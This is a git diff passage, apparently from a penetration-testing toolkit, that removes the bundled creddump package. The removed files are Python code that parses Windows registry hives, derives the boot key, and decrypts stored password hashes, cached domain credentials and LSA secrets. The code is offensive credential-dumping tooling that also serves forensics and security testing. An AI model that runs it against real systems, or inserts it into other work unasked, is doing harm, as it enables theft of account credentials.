4: - showUsage() - sys.exit(1) - -if sys.argv[3].lower() not in ["true", "false"]: - showUsage() - sys.exit(1) - -vista = sys.argv[3].lower() == "true" - -dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3]) diff --git a/tools/MultiRelay/creddump/framework/__init__.py b/tools/MultiRelay/creddump/framework/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/tools/MultiRelay/creddump/framework/addrspace.py b/tools/MultiRelay/creddump/framework/addrspace.py deleted file mode 100755 index fe42d57..0000000 --- a/tools/MultiRelay/creddump/framework/addrspace.py +++ /dev/null @@ -1,147 +0,0 @@ -# Volatility -# Copyright (C) 2007 Volatile Systems -# -# Original Source: -# Copyright (C) 2004,2005,2006 4tphi Research -# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or (at -# your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA -# - -""" -@author: AAron Walters -@license: GNU General Public License 2.0 or later -@contact: awalters@volatilesystems.com -@organization: Volatile Systems - -Alias for all address spaces -""" - -# pylint: disable=missing-docstring - -import os -import struct - - -class FileAddressSpace: - def __init__(self, fname, mode='rb', fast=False): - self.fname = fname - self.name = fname - self.fhandle = open(fname, mode) - self.fsize = os.path.getsize(fname) - - if fast: - self.fast_fhandle = open(fname, mode) - - def fread(self, len): - return self.fast_fhandle.read(len) - - def read(self, addr, len): - self.fhandle.seek(addr) - return self.fhandle.read(len) - - def read_long(self, addr): - string = self.read(addr, 4) - (longval,) = struct.unpack('L', string) - return longval - - def get_address_range(self): - return [0, self.fsize - 1] - - def get_available_addresses(self): - return [self.get_address_range()] - - def is_valid_address(self, addr): - return addr < self.fsize - 1 - - def close(self): - self.fhandle.close() - - -# Code below written by Brendan Dolan-Gavitt - -BLOCK_SIZE = 0x1000 - - -class HiveFileAddressSpace: - def __init__(self, fname): - self.fname = fname - self.base = FileAddressSpace(fname) - - def vtop(self, vaddr): - return vaddr + BLOCK_SIZE + 4 - - def read(self, vaddr, length, zero=False): - first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE - full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1 - left_over = (length + vaddr) % BLOCK_SIZE - - paddr = self.vtop(vaddr) - if paddr is None and zero: - if length < first_block: - return "\0" * length - else: - stuff_read = "\0" * first_block - elif paddr is None: - return None - else: - if length < first_block: - stuff_read = self.base.read(paddr, length) - if not stuff_read and zero: - return "\0" * length - else: - return stuff_read - - stuff_read = self.base.read(paddr, first_block) - if not stuff_read and zero: - stuff_read = "\0" * first_block - - new_vaddr = vaddr + first_block - for __ in range(0, full_blocks): - paddr = self.vtop(new_vaddr) - if paddr is None and zero: - stuff_read = stuff_read + "\0" * BLOCK_SIZE - elif paddr is None: - return None - else: - new_stuff = self.base.read(paddr, BLOCK_SIZE) - if not new_stuff and zero: - new_stuff = "\0" * BLOCK_SIZE - elif not new_stuff: - return None - else: - stuff_read = stuff_read + new_stuff - new_vaddr = new_vaddr + BLOCK_SIZE - - if left_over > 0: - paddr = self.vtop(new_vaddr) - if paddr is None and zero: - stuff_read = stuff_read + "\0" * left_over - elif paddr is None: - return None - else: - stuff_read = stuff_read + self.base.read(paddr, left_over) - return stuff_read - - def read_long_phys(self, addr): - string = self.base.read(addr, 4) - (longval,) = struct.unpack('L', string) - return longval - - def is_valid_address(self, vaddr): - paddr = self.vtop(vaddr) - if not paddr: - return False - return self.base.is_valid_address(paddr) diff --git a/tools/MultiRelay/creddump/framework/newobj.py b/tools/MultiRelay/creddump/framework/newobj.py deleted file mode 100644 index 1a28972..0000000 --- a/tools/MultiRelay/creddump/framework/newobj.py +++ /dev/null @@ -1,320 +0,0 @@ -# This file is part of creddump. -# -# creddump is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# creddump is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with creddump. If not, see . - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument - -from operator import itemgetter -from struct import unpack - -from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj -from framework.types import regtypes as types - - -def get_ptr_type(structure, member): - """Return the type a pointer points to. - - Arguments: - structure : the name of the structure from vtypes - member : a list of members - - Example: - get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] - """ - if len(member) > 1: - _, tp = get_obj_offset(types, [structure, member[0]]) - if tp == 'array': - return types[structure][1][member[0]][1][2][1] - else: - return get_ptr_type(tp, member[1:]) - else: - return types[structure][1][member[0]][1][1] - - -class Obj(object): - """Base class for all objects. - - May return a subclass for certain data types to allow - for special handling. - """ - - def __new__(cls, name, address, space): - if name in globals(): - # This is a bit of "magic" - # Could be replaced with a dict mapping type names to types - return globals()[name](name, address, space) - elif name in builtin_types: - return Primitive(name, address, space) - else: - obj = object.__new__(cls) - return obj - - def __init__(self, name, address, space): - self.name = name - self.address = address - self.space = space - - # Subclasses can add fields to this list if they want them - # to show up in values() or members(), even if they do not - # appear in the vtype definition - self.extra_members = [] - - def __getattribute__(self, attr): - try: - return object.__getattribute__(self, attr) - except AttributeError: - pass - - if self.name in builtin_types: - raise AttributeError("Primitive types have no dynamic attributes") - - try: - off, tp = get_obj_offset(types, [self.name, attr]) - except: - raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) - - if tp == 'array': - a_len = types[self.name][1][attr][1][1] - l = [] - for i in range(a_len): - a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) - if a_tp == 'pointer': - ptp = get_ptr_type(self.name, [attr, i]) - l.append(Pointer(a_tp, self.address + a_off, self.space, ptp)) - else: - l.append(Obj(a_tp, self.address + a_off, self.space)) - return l - elif tp == 'pointer': - # Can't just return a Obj here, since pointers need to also - # know what type they point to. - ptp = get_ptr_type(self.name, [attr]) - return Pointer(tp, self.address + off, self.space, ptp) - else: - return Obj(tp, self.address + off, self.space) - - def __truediv__(self, other): - if isinstance(other, (tuple, list)): - return Pointer(other[0], self.address, self.space, other[1]) - elif isinstance(other, str): - return Obj(other, self.address, self.space) - else: - raise ValueError("Must provide a type name as string for casting") - - def members(self): - """Return a list of this object's members, sorted by offset.""" - - # Could also just return the list - membs = [(k, v[0]) for k, v in list(types[self.name][1].items())] - membs.sort(key=itemgetter(1)) - return list(map(itemgetter(0), membs)) + self.extra_members - - def values(self): - """Return a dictionary of this object's members and their values""" - - valdict = {} - for k in self.members(): - valdict[k] = getattr(self, k) - return valdict - - def bytes(self, length=-1): - """Get bytes starting at the address of this object. - - Arguments: - length : the number of bytes to read. Default: size of - this object. - """ - - if length == -1: - length = self.size() - return self.space.read(self.address, length) - - def size(self): - """Get the size of this object.""" - - if self.name in builtin_types: - return builtin_types[self.name][0] - else: - return types[self.name][0] - - def __repr__(self): - return "<%s @%08x>" % (self.name, self.address) - - def __eq__(self, other): - if not isinstance(other, Obj): - raise TypeError("Types are incomparable") - return self.address == other.address and self.name == other.name - - def __ne__(self, other): - return not self.__eq__(other) - - def __hash__(self): - return hash(self.address) ^ hash(self.name) - - def is_valid(self): - return self.space.is_valid_address(self.address) - - def get_offset(self, member): - return get_obj_offset(types, [self.name] + member) - - -class Primitive(Obj): - """Class to represent a primitive data type. - - Attributes: - value : the python primitive value of this type - """ - - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def __init__(self, name, address, space): - super(Primitive, self).__init__(name, address, space) - length, fmt = builtin_types[name] - data = space.read(address, length) - if not data: - self.value = None - else: - self.value = unpack(fmt, data)[0] - - def __repr__(self): - return repr(self.value) - - def members(self): - return [] - - -class Pointer(Obj): - """Class to represent pointers. - - value : the object pointed to - - If an attribute is not found in this instance, - the attribute will be looked up in the referenced - object.""" - - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def __init__(self, name, address, space, ptr_type): - super(Pointer, self).__init__(name, address, space) - ptr_address = read_value(space, name, address) - if ptr_type[0] == 'pointer': - self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) - else: - self.value = Obj(ptr_type[0], ptr_address, self.space) - - def __getattribute__(self, attr): - # It's still nice to be able to access things through pointers - # without having to explicitly dereference them, so if we don't - # find an attribute via our superclass, just dereference the pointer - # and return the attribute in the pointed-to type. - try: - return super(Pointer, self).__getattribute__(attr) - except AttributeError: - return getattr(self.value, attr) - - def __repr__(self): - return "" % (self.value.name, self.value.address) - - def members(self): - return self.value.members() - - -class _UNICODE_STRING(Obj): - """Class representing a _UNICODE_STRING - - Adds the following behavior: - * The Buffer attribute is presented as a Python string rather - than a pointer to an unsigned short. - * The __str__ method returns the value of the Buffer. - """ - - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def __str__(self): - return self.Buffer - - # Custom Attributes - def getBuffer(self): - return read_unicode_string(self.space, types, [], self.address) - - Buffer = property(fget=getBuffer) - - -class _CM_KEY_NODE(Obj): - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def getName(self): - return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], - self.address, self.NameLength.value) - - Name = property(fget=getName) - - -class _CM_KEY_VALUE(Obj): - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def getName(self): - return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], - self.address, self.NameLength.value) - - Name = property(fget=getName) - - -class _CHILD_LIST(Obj): - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def getList(self): - lst = [] - list_address = read_obj(self.space, types, - ['_CHILD_LIST', 'List'], self.address) - for i in range(self.Count.value): - lst.append(Pointer("pointer", list_address + (i * 4), self.space, - ["_CM_KEY_VALUE"])) - return lst - - List = property(fget=getList) - - -class _CM_KEY_INDEX(Obj): - def __new__(cls, *args, **kwargs): - obj = object.__new__(cls) - return obj - - def getList(self): - lst = [] - for i in range(self.Count.value): - # we are ignoring the hash value here - off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2]) - lst.append(Pointer("pointer", self.address + off, self.space, - ["_CM_KEY_NODE"])) - return lst - - List = property(fget=getList) diff --git a/tools/MultiRelay/creddump/framework/object.py b/tools/MultiRelay/creddump/framework/object.py deleted file mode 100644 index d11243d..0000000 --- a/tools/MultiRelay/creddump/framework/object.py +++ /dev/null @@ -1,171 +0,0 @@ -# Volatools Basic -# Copyright (C) 2007 Komoku, Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or (at -# your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA -# - -# pylint: disable=invalid-name,missing-docstring - -""" -@author: AAron Walters and Nick Petroni -@license: GNU General Public License 2.0 or later -@contact: awalters@komoku.com, npetroni@komoku.com -@organization: Komoku, Inc. -""" - -import struct - -builtin_types = { - 'int': (4, 'i'), - 'long': (4, 'i'), - 'unsigned long': (4, 'I'), - 'unsigned int': (4, 'I'), - 'address': (4, 'I'), - 'char': (1, 'c'), - 'unsigned char': (1, 'B'), - 'unsigned short': (2, 'H'), - 'short': (2, 'h'), - 'long long': (8, 'q'), - 'unsigned long long': (8, 'Q'), - 'pointer': (4, 'I'), -} - - -def obj_size(types, objname): - if objname not in types: - raise Exception('Invalid type %s not in types' % (objname)) - - return types[objname][0] - - -def builtin_size(builtin): - if builtin not in builtin_types: - raise Exception('Invalid built-in type %s' % (builtin)) - - return builtin_types[builtin][0] - - -def read_value(addr_space, value_type, vaddr): - """ - Read the low-level value for a built-in type. - """ - - if value_type not in builtin_types: - raise Exception('Invalid built-in type %s' % (value_type)) - - type_unpack_char = builtin_types[value_type][1] - type_size = builtin_types[value_type][0] - - buf = addr_space.read(vaddr, type_size) - if buf is None: - return None - (val,) = struct.unpack(type_unpack_char, buf) - - return val - - -def read_unicode_string(addr_space, types, member_list, vaddr): - offset = 0 - if len(member_list) > 1: - (offset, __) = get_obj_offset(types, member_list) - - buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) - length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) - - if length == 0x0: - return "" - - if buf is None or length is None: - return None - - readBuf = read_string(addr_space, types, ['char'], buf, length) - - if readBuf is None: - return None - - try: - readBuf = readBuf.decode('UTF-16').encode('ascii') - except Exception: # pylint: disable=broad-except - return None - - return readBuf - - -def read_string(addr_space, types, member_list, vaddr, max_length=256): - offset = 0 - if len(member_list) > 1: - (offset, __) = get_obj_offset(types, member_list) - - val = addr_space.read(vaddr + offset, max_length) - - return val - - -def read_null_string(addr_space, types, member_list, vaddr, max_length=256): - string = read_string(addr_space, types, member_list, vaddr, max_length) - - if string is None: - return None - - return string.split('\0', 1)[0] - - -def get_obj_offset(types, member_list): - """ - Returns the (offset, type) pair for a given list - """ - member_list.reverse() - - current_type = member_list.pop() - - offset = 0 - - while member_list: - if current_type == 'array': - current_type = member_dict[current_member][1][2][0] - if current_type in builtin_types: - current_type_size = builtin_size(current_type) - else: - current_type_size = obj_size(types, current_type) - index = member_list.pop() - offset += index * current_type_size - continue - - elif current_type not in types: - raise Exception('Invalid type ' + current_type) - - member_dict = types[current_type][1] - - current_member = member_list.pop() - if current_member not in member_dict: - raise Exception('Invalid member %s in type %s' % (current_member, current_type)) - - offset += member_dict[current_member][0] - - current_type = member_dict[current_member][1][0] - - return (offset, current_type) - - -def read_obj(addr_space, types, member_list, vaddr): - """ - Read the low-level value for some complex type's member. - The type must have members. - """ - if len(member_list) < 2: - raise Exception('Invalid type/member ' + str(member_list)) - - (offset, current_type) = get_obj_offset(types, member_list) - return read_value(addr_space, current_type, vaddr + offset) diff --git a/tools/MultiRelay/creddump/framework/types.py b/tools/MultiRelay/creddump/framework/types.py deleted file mode 100644 index cbf8b4f..0000000 --- a/tools/MultiRelay/creddump/framework/types.py +++ /dev/null @@ -1,65 +0,0 @@ -# This file is part of creddump. -# -# creddump is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# creddump is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with creddump. If not, see . - -# pylint: disable=invalid-name - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -regtypes = { - '_CM_KEY_VALUE': [0x18, { - 'Signature': [0x0, ['unsigned short']], - 'NameLength': [0x2, ['unsigned short']], - 'DataLength': [0x4, ['unsigned long']], - 'Data': [0x8, ['unsigned long']], - 'Type': [0xc, ['unsigned long']], - 'Flags': [0x10, ['unsigned short']], - 'Spare': [0x12, ['unsigned short']], - 'Name': [0x14, ['array', 1, ['unsigned short']]], - }], - '_CM_KEY_NODE': [0x50, { - 'Signature': [0x0, ['unsigned short']], - 'Flags': [0x2, ['unsigned short']], - 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], - 'Spare': [0xc, ['unsigned long']], - 'Parent': [0x10, ['unsigned long']], - 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], - 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], - 'ValueList': [0x24, ['_CHILD_LIST']], - 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], - 'Security': [0x2c, ['unsigned long']], - 'Class': [0x30, ['unsigned long']], - 'MaxNameLen': [0x34, ['unsigned long']], - 'MaxClassLen': [0x38, ['unsigned long']], - 'MaxValueNameLen': [0x3c, ['unsigned long']], - 'MaxValueDataLen': [0x40, ['unsigned long']], - 'WorkVar': [0x44, ['unsigned long']], - 'NameLength': [0x48, ['unsigned short']], - 'ClassLength': [0x4a, ['unsigned short']], - 'Name': [0x4c, ['array', 1, ['unsigned short']]], - }], - '_CM_KEY_INDEX': [0x8, { - 'Signature': [0x0, ['unsigned short']], - 'Count': [0x2, ['unsigned short']], - 'List': [0x4, ['array', 1, ['unsigned long']]], - }], - '_CHILD_LIST': [0x8, { - 'Count': [0x0, ['unsigned long']], - 'List': [0x4, ['unsigned long']], - }], -} diff --git a/tools/MultiRelay/creddump/framework/win32/__init__.py b/tools/MultiRelay/creddump/framework/win32/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/tools/MultiRelay/creddump/framework/win32/domcachedump.py b/tools/MultiRelay/creddump/framework/win32/domcachedump.py deleted file mode 100644 index 542ce41..0000000 --- a/tools/MultiRelay/creddump/framework/win32/domcachedump.py +++ /dev/null @@ -1,135 +0,0 @@ -# This file is part of creddump. -# -# creddump is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# creddump is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with creddump. If not, see . - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -from framework.win32.rawreg import * -from framework.addrspace import HiveFileAddressSpace -from framework.win32.hashdump import get_bootkey -from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key -from Crypto.Hash import HMAC -from Crypto.Cipher import ARC4, AES -from struct import unpack - -def get_nlkm(secaddr, lsakey, vista): - return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista) - -def decrypt_hash(edata, nlkm, ch): - hmac_md5 = HMAC.new(nlkm,ch) - rc4key = hmac_md5.digest() - - rc4 = ARC4.new(rc4key) - data = rc4.encrypt(edata) - return data - -def decrypt_hash_vista(edata, nlkm, ch): - """ - Based on code from http://lab.mediaservice.net/code/cachedump.rb - """ - aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch) - - out = bytearray() - for i in range(0, len(edata), 16): - buf = edata[i : i+16] - if len(buf) < 16: - buf += (16 - len(buf)) * b"\00" - - out += aes.decrypt(buf) - return out - -def parse_cache_entry(cache_data): - (uname_len, domain_len) = unpack(". - -# pylint: disable=invalid-name,missing-docstring - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -from struct import unpack, pack -import binascii - -from Crypto.Hash import MD5 -from Crypto.Cipher import ARC4, DES, AES - -from framework.win32.rawreg import get_root, open_key, values, subkeys -from framework.addrspace import HiveFileAddressSpace - -odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, - 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, - 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, - 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, - 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, - 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, - 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, - 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, - 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, - 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254 -] - -# Permutation matrix for boot key -p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, - 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] - -# Constants for SAM decrypt algorithm -aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" -anum = b"0123456789012345678901234567890123456789\0" -antpassword = b"NTPASSWORD\0" -almpassword = b"LMPASSWORD\0" - -empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee") -empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0") - - -def str_to_key(s): - key = bytearray() - key.append(s[0] >> 1) - key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2)) - key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3)) - key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4)) - key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5)) - key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6)) - key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7)) - key.append(s[6] & 0x7F) - for i in range(8): - key[i] = (key[i] << 1) - key[i] = odd_parity[key[i]] - return key - - -def sid_to_key(sid): - s1 = bytearray() - s1.append(sid & 0xFF) - s1.append((sid >> 8) & 0xFF) - s1.append((sid >> 16) & 0xFF) - s1.append((sid >> 24) & 0xFF) - s1.append(s1[0]) - s1.append(s1[1]) - s1.append(s1[2]) - s2 = bytearray([s1[3], s1[0], s1[1], s1[2]]) - s2.append(s2[0]) - s2.append(s2[1]) - s2.append(s2[2]) - - return str_to_key(s1), str_to_key(s2) - - -def find_control_set(sysaddr): - root = get_root(sysaddr) - if not root: - return 1 - - csselect = open_key(root, ["Select"]) - if not csselect: - return 1 - - for v in values(csselect): - if v.Name == b"Current": - return v.Data.value - - return 1 - - -def get_bootkey(sysaddr): - cs = find_control_set(sysaddr) - lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"] - lsa_keys = ["JD", "Skew1", "GBG", "Data"] - - root = get_root(sysaddr) - if not root: - return None - - lsa = open_key(root, lsa_base) - if not lsa: - return None - - bootkey = [] - - for lk in lsa_keys: - key = open_key(lsa, [lk]) - class_data = sysaddr.read(key.Class.value, key.ClassLength.value) - hex_string = class_data.decode('utf-16-le') - hex_data = binascii.unhexlify(hex_string) - for h in hex_data: - bootkey.append(h) - - bootkey_scrambled = [] - for i in range(len(bootkey)): - bootkey_scrambled.append(bootkey[p[i]]) - - return bytes(bootkey_scrambled) - - -def get_hbootkey(samaddr, bootkey): - sam_account_path = ["SAM", "Domains", "Account"] - - root = get_root(samaddr) - if not root: - return None - - sam_account_key = open_key(root, sam_account_path) - if not sam_account_key: - return None - - F = None - for v in values(sam_account_key): - if v.Name == b'F': - F = samaddr.read(v.Data.value, v.DataLength.value) - if not F: - return None - - revision = F[0x00] - if revision == 2: - md5 = MD5.new() - md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) - rc4_key = md5.digest() - - rc4 = ARC4.new(rc4_key) - hbootkey = rc4.encrypt(F[0x80:0xA0]) - - return hbootkey - - if revision == 3: - iv = F[0x78:0x88] - encryptedHBootKey = F[0x88:0xA8] - cipher = AES.new(bootkey, AES.MODE_CBC, iv) - hbootkey = cipher.decrypt(encryptedHBootKey) - - return hbootkey[:16] - - print("Unknown revision: %d" % revision) - return None - -def get_user_keys(samaddr): - user_key_path = ["SAM", "Domains", "Account", "Users"] - - root = get_root(samaddr) - if not root: - return [] - - user_key = open_key(root, user_key_path) - if not user_key: - return [] - - return [k for k in subkeys(user_key) if k.Name != b"Names"] - - -def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): - if enc_hash == "": - return "" - (des_k1, des_k2) = sid_to_key(rid) - d1 = DES.new(des_k1, DES.MODE_ECB) - d2 = DES.new(des_k2, DES.MODE_ECB) - md5 = MD5.new() - md5.update(hbootkey[:0x10] + pack(". - -# pylint: disable=missing-docstring - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -from Crypto.Hash import MD5, SHA256 -from Crypto.Cipher import ARC4, DES, AES - -from framework.win32.rawreg import get_root, open_key, subkeys, unpack -from framework.addrspace import HiveFileAddressSpace -from framework.win32.hashdump import get_bootkey, str_to_key - - -def get_lsa_key(secaddr, bootkey, vista): - root = get_root(secaddr) - if not root: - return None - - if vista: - enc_reg_key = open_key(root, ["Policy", "PolEKList"]) - else: - enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) - - if not enc_reg_key: - return None - - enc_reg_value = enc_reg_key.ValueList.List[0] - if not enc_reg_value: - return None - - obf_lsa_key = secaddr.read(enc_reg_value.Data.value, - enc_reg_value.DataLength.value) - if not obf_lsa_key: - return None - - if not vista: - md5 = MD5.new() - md5.update(bootkey) - for __ in range(1000): - md5.update(obf_lsa_key[60:76]) - rc4key = md5.digest() - rc4 = ARC4.new(rc4key) - lsa_key = rc4.decrypt(obf_lsa_key[12:60]) - lsa_key = lsa_key[0x10:0x20] - else: - lsa_key = decrypt_aes(obf_lsa_key, bootkey) - lsa_key = lsa_key[68:100] - - return lsa_key - - -def decrypt_secret(secret, key): - """Python implementation of SystemFunction005. - - Decrypts a block of data with DES using given key. - Note that key can be longer than 7 bytes.""" - decrypted_data = bytearray() - j = 0 # key index - for i in range(0, len(secret), 8): - enc_block = secret[i:i + 8] - block_key = key[j:j + 7] - des_key = str_to_key(block_key) - - des = DES.new(des_key, DES.MODE_ECB) - decrypted_data += des.decrypt(enc_block) - - j += 7 - if len(key[j:j + 7]) < 7: - j = len(key[j:j + 7]) - - (dec_data_len,) = unpack(". - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -from framework.newobj import Obj,Pointer -from struct import unpack - -ROOT_INDEX = 0x20 -LH_SIG = unpack(". - -# pylint: disable=invalid-name,missing-docstring - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -import sys -from framework.win32.lsasecrets import get_file_secrets - -# Hex dump code from -# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 - -FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256)) - - -def showUsage(): - print("usage: %s " % sys.argv[0]) - print("\nExample (Windows Vista/7):") - print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0]) - print("\nExample (Windows XP):") - print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0]) - - -def dump(src, length=8): - N = 0 - result = '' - while src: - s, src = src[:length], src[length:] - hexa = ' '.join(["%02X" % x for x in s]) - s = ''.join(FILTER[b] for b in s) - result += "%04X %-*s %s\n" % (N, length * 3, hexa, s) - N += length - return result - - -if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]: - showUsage() - sys.exit(1) -else: - vista = sys.argv[3].lower() == "true" - -secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista) -if not secrets: - print("Unable to read LSA secrets. Perhaps you provided invalid hive files?") - sys.exit(1) - -for k in secrets: - print(k.decode()) - print(dump(secrets[k], length=16)) diff --git a/tools/MultiRelay/creddump/pwdump.py b/tools/MultiRelay/creddump/pwdump.py deleted file mode 100755 index 462df85..0000000 --- a/tools/MultiRelay/creddump/pwdump.py +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env python - -# This file is part of creddump. -# -# creddump is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# creddump is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with creddump. If not, see . - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -import sys -from framework.win32.hashdump import dump_file_hashes - -if len(sys.argv) < 3: - print("usage: %s " % sys.argv[0]) - sys.exit(1) - -dump_file_hashes(sys.argv[1], sys.argv[2]) diff --git a/tools/MultiRelay/impacket-dev/LICENSE b/tools/MultiRelay/impacket-dev/LICENSE new file mode 100644 index 0000000..159cdd1 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/LICENSE @@ -0,0 